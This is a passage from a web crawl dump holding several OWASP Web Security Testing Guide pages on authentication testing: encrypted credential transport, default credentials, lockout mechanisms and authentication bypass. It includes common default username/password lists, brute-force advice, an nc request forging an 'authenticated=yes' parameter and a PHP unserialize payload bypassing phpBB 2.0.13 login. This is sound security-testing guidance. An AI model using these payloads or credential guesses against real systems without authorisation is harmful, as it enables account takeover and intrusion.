further complicate things, there is the possibility that the site has the login page accessible via HTTP (making us believe that the transmission is insecure), but then it actually sends data via HTTPS. This test is done to be sure that an attacker cannot retrieve sensitive information by simply sniffing the network with a sniffer tool.\n\n## How to Test\n\n### Black-Box Testing\n\nIn the following examples we will use a web proxy in order to capture packet headers and to inspect them. You can use any web proxy that you prefer.\n\n#### Example 1: Sending Data with POST Method Through HTTP\n\nSuppose that the login page presents a form with fields User, Pass, and the Submit button to authenticate and give access to the application. If we look at the headers of our request with a web proxy, we can get something like this:\n\n```\nPOST http://www.example.com/AuthenticationServlet HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404\nAccept: text/xml,application/xml,application/xhtml+xml\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://www.example.com/index.jsp\nCookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!\nContent-Type: application/x-www-form-urlencoded\nContent-length: 64\n\ndelegated_service=218&User=test&Pass=test&Submit=SUBMIT\n```\n\nFrom this example the tester can understand that the POST request sends the data to the page `www.example.com/AuthenticationServlet` using HTTP. So the data is transmitted without encryption and a malicious user could intercept the username and password by simply sniffing the network with a tool like [Wireshark](https://www.wireshark.org).\n\n#### Example 2: Sending Data with POST Method Through HTTPS\n\nSuppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:\n\n```\nPOST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404\nAccept: text/xml,application/xml,application/xhtml+xml,text/html\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: https://www.example.com/cgi-bin/login.cgi\nCookie: language=English;\nContent-Type: application/x-www-form-urlencoded\nContent-length: 50\n\nCommand=Login&User=test&Pass=test\n```\n\nWe can see that the request is addressed to `www.example.com:443/cgi-bin/login.cgi` using the HTTPS protocol. This ensures that our credentials are sent using an encrypted channel and that the credentials are not readable by a malicious user using a sniffer.\n\n#### Example 3: Sending Data with POST Method via HTTPS on a Page Reachable via HTTP\n\nNow, imagine having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services that are publicly available, without identification, but the site also has a private section accessible from the home page when users log in. So when we try to log in, the header of our request will look like the following example:\n\n```\nPOST https://www.example.com:443/login.do HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404\nAccept: text/xml,application/xml,application/xhtml+xml,text/html\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://www.example.com/homepage.do\nCookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F\nContent-Type: application/x-www-form-urlencoded\nContent-length: 45\n\nUser=test&Pass=test&portal=ExamplePortal\n```\n\nWe can see that our request is addressed to `www.example.com:443/login.do` using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is `www.example.com/homepage.do` and is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow [SSLStrip](https://moxie.org/software/sslstrip/) attacks.\n\n> The above mentioned attack is a [Man-in-the-middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) attack.\n\n#### Example 4: Sending Data with GET Method Through HTTPS\n\nIn this last example, suppose that the application transfers data using the GET method. This method should never be used in a form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and this causes a whole set of security issues. For example, the URL that is requested is easily available from the server logs or from your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST method instead.\n\n```\nGET https://www.example.com/success.html?user=test&pass=test HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404\nAccept: text/xml,application/xml,application/xhtml+xml,text/html\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: https://www.example.com/form.html\nIf-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT\nIf-None-Match: \"43a01-5b-4868915f\"\n```\n\nYou can see that the data is transferred in clear text in the URL and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.\n\n### Gray-Box Testing\n\nSpeak with the developers of the web application and try to understand if they are aware of the differences between HTTP and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. Then, check with them if HTTPS is used in every sensitive request, like those in log in pages, to prevent unauthorized users to intercept the data.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://owasp.org/www-project-zap/)\n- [mitmproxy](https://mitmproxy.org)\n- [Burp Suite](https://portswigger.net/burp)\n- [Wireshark](https://www.wireshark.org/)\n- [TCPDUMP](https://www.tcpdump.org/)\n\n## References\n\n### Whitepapers\n\n- [HTTP/1.1: Security Considerations](https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html)\n- [SSL is not about encryption](https://www.troyhunt.com/ssl-is-not-about-encryption/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9265, "slov": 1287, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:15", "sha256": "b70f4e50000317a8229337f8328cc84de0b08d993e1cb815ad709f6a930ae7c9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.wireshark.org/", "https://moxie.org/software/sslstrip/", "https://en.wikipedia.org/wiki/Man-in-the-middle_attack", "https://mitmproxy.org/", "https://portswigger.net/burp", "https://www.tcpdump.org/", "https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html", "https://www.troyhunt.com/ssl-is-not-about-encryption/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Default Credentials"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Default Credentials of Common Applications"}, {"uroven": 3, "text": "Testing for Default Password of New Accounts"}, {"uroven": 4, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Default Credentials\n\n| ID |\n| --- |\n| WSTG-ATHN-02 |\n\n## Summary\n\nNowadays web applications often make use of popular open source or commercial software that can be installed on servers with minimal configuration or customization by the server administrator. Moreover, a lot of hardware appliances (i.e. network routers and database servers) offer web-based configuration or administrative interfaces.\n\nOften these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. These default credentials are well known by penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to various types of applications.\n\nFurthermore, in many situations, when a new account is created on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.\n\nThe root cause of this problem can be identified as:\n\n- Inexperienced IT personnel, who are unaware of the importance of changing default passwords on installed infrastructure components, or leave the password as default for “ease of maintenance”.\n- Programmers who leave back doors to easily access and test their application and later forget to remove them.\n- Applications with built-in non-removable default accounts with a preset username and password.\n- Applications that do not force the user to change the default credentials after the first log in.\n\n## How to Test\n\n### Testing for Default Credentials of Common Applications\n\nIn black-box testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not true, and some information about the application is known. We suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter [Information Gathering](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README), at least one or more common applications that may contain accessible administrative interfaces.\n\nWhen you have identified an application interface, for example a Cisco router web interface or a WebLogic administrator portal, check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can consult the manufacturer’s documentation or, in a much simpler way, you can find common credentials using a search engine or by using one of the sites or tools listed in the Reference section.\n\nWhen facing applications where we do not have a list of default and common user accounts (for example due to the fact that the application is not wide spread) we can attempt to guess valid default credentials. Note that the application being tested may have an account lockout policy enabled, and multiple password guess attempts with a known username may cause the account to be locked. If it is possible to lock the administrator account, it may be troublesome for the system administrator to reset it.\n\nMany applications have verbose error messages that inform the site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the log in page, password reset and forgotten password page, and sign up page. Once you have found a default username you could also start guessing passwords for this account.\n\nMore information about this procedure can be found in the section [Testing for User Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account) and in the section [Testing for Weak password policy](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy).\n\nSince these types of default credentials are often bound to administrative accounts you can proceed in this manner:\n\n- Try the following usernames - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, or “super”. These are popular among system administrators and are often used. Additionally you could try “qa”, “test”, “test1”, “testing” and similar names. Attempt any combination of the above in both the username and the password fields. If the application is vulnerable to username enumeration, and you manage to successfully identify any of the above usernames, attempt passwords in a similar manner. In addition try an empty password or one of the following “password”, “pass123”, “password123”, “admin”, or “guest” with the above accounts or any other enumerated accounts. Further permutations of the above can also be attempted. If these passwords fail, it may be worth using a common username and password list and attempting multiple requests against the application. This can, of course, be scripted to save time.\n- Application administrative users are often named after the application or organization. This means if you are testing an application named “Obscurity”, try using obscurity/obscurity or any other similar combination as the username and password.\n- When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords. Customer email addresses mail reveal the user accounts naming convention: if employee John Doe has the email address jdoe@example.com, you can try to find the names of system administrators on social media and guess their username by applying the same naming convention to their name.\n- Attempt using all the above usernames with blank passwords.\n- Review the page source and JavaScript either through a proxy or by viewing the source. Look for any references to users and passwords in the source. For example “If username=’admin’ then starturl=/admin.asp else /index.asp” (for a successful log in versus a failed log in). Also, if you have a valid account, then log in and view every request and response for a valid log in versus an invalid log in, such as additional hidden parameters, interesting GET request (login=yes), etc.\n- Look for account names and passwords written in comments in the source code. Also look in backup directories for source code (or backups of source code) that may contain interesting comments and code.\n\n### Testing for Default Password of New Accounts\n\nIt can also occur that when a new account is created in an application the account is assigned a default password. This password could have some standard characteristics making it predictable. If the user does not change it on first usage (this often happens if the user is not forced to change it) or if the user has not yet logged on to the application, this can lead an attacker to gain unauthorized access to the application.\n\nThe advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for default passwords.\n\nThe following steps can be applied to test for these types of default credentials:\n\n- Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords. If a user registration page does not exist, determine if the organization uses a standard naming convention for user names such as their email address or the name before the “@” in the email.\n- Try to extrapolate from the application how usernames are generated. For example, can a user choose his/her own username or does the system generate an account name for the user based on some personal information or by using a predictable sequence? If the application does generate the account names in a predictable sequence, such as user7811, try fuzzing all possible accounts recursively. If you can identify a different response from the application when using a valid username and a wrong password, then you can try a brute force attack on the valid username (or quickly try any of the identified common passwords above or in the reference section).\n- Try to determine if the system generated password is predictable. To do this, create many new accounts quickly after one another so that you can compare and determine if the passwords are predictable. If predictable, try to correlate these with the usernames, or any enumerated accounts, and use them as a basis for a brute force attack.\n- If you have identified the correct naming convention for the user name, try to “brute force” passwords with some common predictable sequence like for example dates of birth.\n- Attempt using all the above usernames with blank passwords or using the username also as password value.\n\n#### Gray-Box Testing\n\nThe following steps rely on an entirely gray-box approach. If only some of this information is available to you, refer to black-box testing to fill the gaps.\n\n- Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.\n- Ask IT personnel if default passwords are changed and if default user accounts are disabled.\n- Examine the user database for default credentials as described in the black-box testing section. Also check for empty password fields.\n- Examine the code for hard coded usernames and passwords.\n- Check for configuration files that contain usernames and passwords.\n- Examine the password policy and, if the application generates its own passwords for new users, check the policy in use for this procedure.\n\n## Tools\n\n- [Burp Intruder](https://portswigger.net/burp)\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n- [Nikto 2](https://www.cirt.net/nikto2)\n\n## References\n\n- [CIRT](https://cirt.net/passwords)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10078, "slov": 1507, "odkazu": 179, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:16", "sha256": "fd99297b0bb513727734e93ae0c866f4d2085f9c54bc8af72356cc2773aa0a7f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp", "https://github.com/vanhauser-thc/thc-hydra", "https://www.cirt.net/nikto2", "https://cirt.net/passwords", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak Lock Out Mechanism"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak Lock Out Mechanism\n\n| ID |\n| --- |\n| WSTG-ATHN-03 |\n\n## Summary\n\nAccount lockout mechanisms are used to mitigate brute force password guessing attacks. Accounts are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access.\n\nNote that this test should cover all aspects of authentication where lockout mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [Testing for Weak security question/answer](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)).\n\nWithout a strong lockout mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:\n\n- Confidential information or data: Private sections of a web application could disclose confidential documents, users’ profile data, financial information, bank details, users’ relationships, etc.\n- Administration panels: These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.\n- Opportunities for further attacks: authenticated sections of a web application could contain vulnerabilities that are not present in the public section of the web application and could contain advanced functionality that is not available to public users.\n\n## Test Objectives\n\n1. Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing.\n2. Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.\n\n## How to Test\n\nTypically, to test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can log on to the web application, perform this test at the end of you test plan to avoid that you cannot continue your testing due to a locked account.\n\nTo evaluate the account lockout mechanism’s ability to mitigate brute force password guessing, attempt an invalid log in by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:\n\n1. Attempt to log in with an incorrect password 3 times.\n2. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 3 incorrect authentication attempts.\n3. Attempt to log in with an incorrect password 4 times.\n4. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 4 incorrect authentication attempts.\n5. Attempt to log in with an incorrect password 5 times.\n6. Attempt to log in with the correct password. The application returns “Your account is locked out.”, thereby confirming that the account is locked out after 5 incorrect authentication attempts.\n7. Attempt to log in with the correct password 5 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.\n8. Attempt to log in with the correct password 10 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.\n9. Successfully log in with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.\n\nA CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses, and should not replace a lockout mechanism.\n\nTo evaluate the unlock mechanism’s resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [Testing for Weak Security Question/Answer](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)).\n\nNote that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism.\n\nFactors to consider when implementing an account lockout mechanism:\n\n1. What is the risk of brute force password guessing against the application?\n2. Is a CAPTCHA sufficient to mitigate this risk?\n3. Is a client-side lockout mechanism being used (e.g., JavaScript)? (If so, disable the client-side code to test.)\n4. Number of unsuccessful log in attempts before lockout. If the lockout threshold is to low then valid users may be locked out too often. If the lockout threshold is to high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application’s purpose, a range of 5 to 10 unsuccessful attempts is typical lockout threshold.\n5. How will accounts be unlocked?\n 1. Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator’s “valuable” time.\n 1. Note that the administrator should also have a recovery method in case his account gets locked.\n 2. This unlock mechanism may lead to a denial-of-service attack if an attacker’s goal is to lock the accounts of all users of the web application.\n 2. After a period of time: What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.\n 3. Via a self-service mechanism: As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.\n\n## References\n\nSee the OWASP article on [Brute Force](https://owasp.org/www-community/attacks/Brute_force_attack) Attacks.\n\n## Remediation\n\nApply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:\n\n1. Time-based lockout and unlock.\n2. Self-service unlock (sends unlock email to registered email address).\n3. Manual administrator unlock.\n4. Manual administrator unlock with positive user identification.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6790, "slov": 1013, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:17", "sha256": "8b52deda1ac25f46d52908042b3a69caad09ab6c00cab03791a78faeff0dd648", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Bypassing Authentication Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Direct Page Request"}, {"uroven": 4, "text": "Parameter Modification"}, {"uroven": 4, "text": "Session ID Prediction"}, {"uroven": 4, "text": "SQL Injection (HTML Form Authentication)"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Bypassing Authentication Schema\n\n| ID |\n| --- |\n| WSTG-ATHN-04 |\n\n## Summary\n\nIn computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the log on process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.\n\nWhile most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.\n\nIn addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.\n\nProblems related to the authentication schema can be found at different stages of the software development life cycle (SDLC), like the design, development, and deployment phases:\n\n- In the design phase errors can include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.\n- In the development phase errors can include the incorrect implementation of input validation functionality or not following the security best practices for the specific language.\n- In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills or due to the lack of good documentation.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are several methods of bypassing the authentication schema that is used by a web application:\n\n- Direct page request ( [forced browsing](https://owasp.org/www-community/attacks/Forced_browsing) )\n- Parameter modification\n- Session ID prediction\n- SQL injection\n\n#### Direct Page Request\n\nIf a web application implements access control only on the log in page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing, that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.\n\n*Figure 4.4.4-1: Direct Request to Protected Page*\n\n#### Parameter Modification\n\nAnother problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the “authenticated” parameter is changed to a value of “yes”, which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.\n\n```\n http://www.site.com/page.asp?authenticated=no\n\n raven@blackbox /home $nc www.site.com 80\n GET /page.asp?authenticated=yes HTTP/1.0\n\n HTTP/1.1 200 OK\n Date: Sat, 11 Nov 2006 10:22:44 GMT\n Server: Apache\n Connection: close\n Content-Type: text/html; charset=iso-8859-1\n\n

You Are Authenticated

\n```\n\n*Figure 4.4.4-2: Parameter Modified Request*\n\n#### Session ID Prediction\n\nMany web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.\n\nIn the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.\n\n*Figure 4.4.4-3: Cookie Values Over Time*\n\nIn the following figure, values inside cookies change only partially, so it’s possible to restrict a brute force attack to the defined fields shown below.\n\n*Figure 4.4.4-4: Partially Changed Cookie Values*\n\n#### SQL Injection (HTML Form Authentication)\n\nSQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.\n\n*Figure 4.4.4-5: SQL Injection*\n\nThe following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.\n\n*Figure 4.4.4-6: Simple SQL Injection Attack*\n\n### Gray-Box Testing\n\nIf an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.\n\nIn the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 the unserialize() function parses a user supplied cookie and sets values inside the $row array. At line 10 the user’s MD5 password hash stored inside the back end database is compared to the one supplied.\n\n```\n1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) || 2. { 3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ? 4. 5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array(); 6. 7. $sessionmethod = SESSION_METHOD_COOKIE; 8. } 9. 10. if( md5($password) == $row['user_password'] && $row['user_active'] ) 11. 12. { 13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0; 14. } \n```\n\nIn PHP, a comparison between a string value and a boolean value (1 - “TRUE”) is always “TRUE”, so by supplying the following string (the important part is “b:1”) to the unserialize() function, it is possible to bypass the authentication control:\n\n`a:2:{s:11:`“`autologinid`”`;b:1;s:6:`“`userid`”`;s:1:`“`2`”`;}`\n\n## Tools\n\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- Mark Roxberry: “PHPBB 2.0.13 vulnerability”\n- [David Endler: “Session ID Brute Force Exploitation and Prediction”](https://www.cgisecurity.com/lib/SessionIDs.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6720, "slov": 972, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:18", "sha256": "caa5522eaa33cf5a99859c54c13621b02d8dad03dbca738219106d223e70e47f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.cgisecurity.com/lib/SessionIDs.pdf", "https://github.com/OWASP/wstg/subscription", 